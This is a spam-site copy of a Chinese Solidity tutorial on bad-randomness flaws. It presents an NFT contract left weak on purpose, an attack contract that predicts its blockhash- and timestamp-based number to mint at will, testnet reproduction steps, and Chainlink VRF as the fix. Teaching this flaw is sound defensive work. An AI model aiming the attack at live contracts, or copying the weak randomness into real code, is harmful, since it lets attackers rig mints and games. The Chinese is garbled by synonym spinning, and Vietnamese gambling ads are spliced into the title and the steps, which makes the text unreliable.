首页 科技内容详情
Tài Xỉu app(www.vng.app):以太坊开奖(www.326681.com)_WTF Solidity 合约平安: S07. 坏随机数

Tài Xỉu app(www.vng.app):以太坊开奖(www.326681.com)_WTF Solidity 合约平安: S07. 坏随机数

分类:科技

标签: # tg群

网址:

SEO查询: 爱站网 站长工具

点击直达

ô để la gì(www.84vng.com):ô để la gì(www.84vng.com) cổng Chơi tài xỉu uy tín nhất việt nam。ô để la gì(www.84vng.com)game tài Xỉu ô để la gì online công bằng nhất,ô để la gì(www.84vng.com)cổng game không thể dự đoán can thiệp,mở thưởng bằng blockchain ,đảm bảo kết quả công bằng.

我最近在重新学solidity,牢固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。

这一讲,我们将先容智能合约的坏随机数(Bad Randomness)破绽和预防方式,这个破绽经常在 NFT 和 GameFi 中泛起,包罗 Meebits,Loots,Wolf Game等。

伪随机数

许多以太坊上的应用都需要用到随机数,例如NFT随机抽取tokenId、抽盲盒、gamefi战斗中随机分输赢等等。然则由于以太坊上所有数据都是果然透明(public)且确定性(deterministic)的,它没有其他编程语言一样给开发者提供天生随机数的方式,例如random()。许多项目方不得不使用链上的伪随机数天生方式,例如 blockhash()keccak256() 方式。

坏随机数破绽:攻击者可以事先盘算这些伪随机数的效果,从而到达他们想要的目的,例如铸造任何他们想要的有数NFT而非随机抽取。更多的内容可以阅读 WTF Solidity极简教程 第39讲:伪随机数。

坏随机数案例

下面我们学习一个有坏随机数破绽的 NFT 合约: BadRandomness.sol

contract BadRandomness is ERC721 {    uint256 totalSupply;    // 组织函数,初始化NFT合集的名称、代号    constructor() ERC721("", ""){}    // 铸造函数:当输入的 luckyNumber 即是随机数时才气mint    function luckyMint(uint256 luckyNumber) external {        uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) % 100; // get bad random number        require(randomNumber == luckyNumber, "Better luck next time!");        _mint(msg.sender, totalSupply); // mint        totalSupply++;    }}

它有一个主要的铸造函数 luckyMint(),用户挪用时输入一个 0-99 的数字,若是和链上天生的伪随机数 randomNumber 相等,即可铸造幸运 NFT。伪随机数使用 blockhashblock.timestamp 声称。这个破绽在于用户可以完善展望天生的随机数并铸造NFT。

下面我们写个攻击合约 Attack.sol

contract Attack {    function attackMint(BadRandomness nftAddr) external {        // 提前盘算随机数        uint256 luckyNumber = uint256(            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))        ) % 100;        // 行使 luckyNumber 攻击        nftAddr.luckyMint(luckyNumber);    }}

攻击函数 attackMint()中的参数为 BadRandomness合约地址。在其中,我们盘算了随机数 luckyNumber,然后将它作为参数输入到 luckyMint() 函数完成攻击。由于attackMint()luckyMint()将在统一个区块中挪用,blockhashblock.timestamp是相同的,行使他们天生的随机数也相同。

Remix 复现

由于 Remix 自带的 Remix VM不支持 blockhash函数,因此你需要将合约部署到以太坊测试链上举行复现。

,

联博统计

,

chơi game kiếm tiền(www.vng.app):chơi game kiếm tiền(www.vng.app) cổng Chơi tài xỉu uy tín nhất việt nam。chơi game kiếm tiền(www.vng.app)game tài Xỉu đánh bạc online công bằng nhất,chơi game kiếm tiền(www.vng.app)cổng game không thể dự đoán can thiệp,mở thưởng bằng blockchain ,đảm bảo kết quả công bằng.

,

www.u-healer.com采用以太坊区块链高度哈希值作为统计数据,联博以太坊统计数据开源、公平、无任何作弊可能性。联博统计免费提供API接口,支持多语言接入。

,
  1. 部署 Attack 合约。

  2. BadRandomness 合约地址作为参数传入到 Attack 合约的 attackMint() 函数并挪用,完成攻击。

  3. 挪用 BadRandomness 合约的 balanceOf 查看Attack 合约NFT余额,确认攻击乐成。

预防方式

我们通常使用预言机项目提供的链下随机数来预防这类破绽,例如 Chainlink VRF。这类随机数从链下天生,然后上传到链上,从而保证随机数不能展望。更多先容可以阅读 WTF Solidity极简教程 第39讲:伪随机数。

总结

这一讲我们先容了坏随机数破绽,并先容了一个简朴的预防方式:使用预言机项目提供的链下随机数。NFT 和 GameFi 项目方应制止使用链上伪随机数举行抽奖,以防被黑客行使。

推特:@0xAA_Science|@WTFAcademy_

社区:Discord|微信群|官网 wtf.academy

所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity

泉源:bress

查看更多,

Tài Xỉu app(www.vng.app):Tài Xỉu app(www.vng.app) cổng Chơi tài xỉu uy tín nhất việt nam。Tài Xỉu app(www.vng.app)game tài Xỉu đánh bạc online công bằng nhất,Tài Xỉu app(www.vng.app)cổng game không thể dự đoán can thiệp,mở thưởng bằng blockchain ,đảm bảo kết quả công bằng.

 当前暂无评论,快来抢沙发吧~

发布评论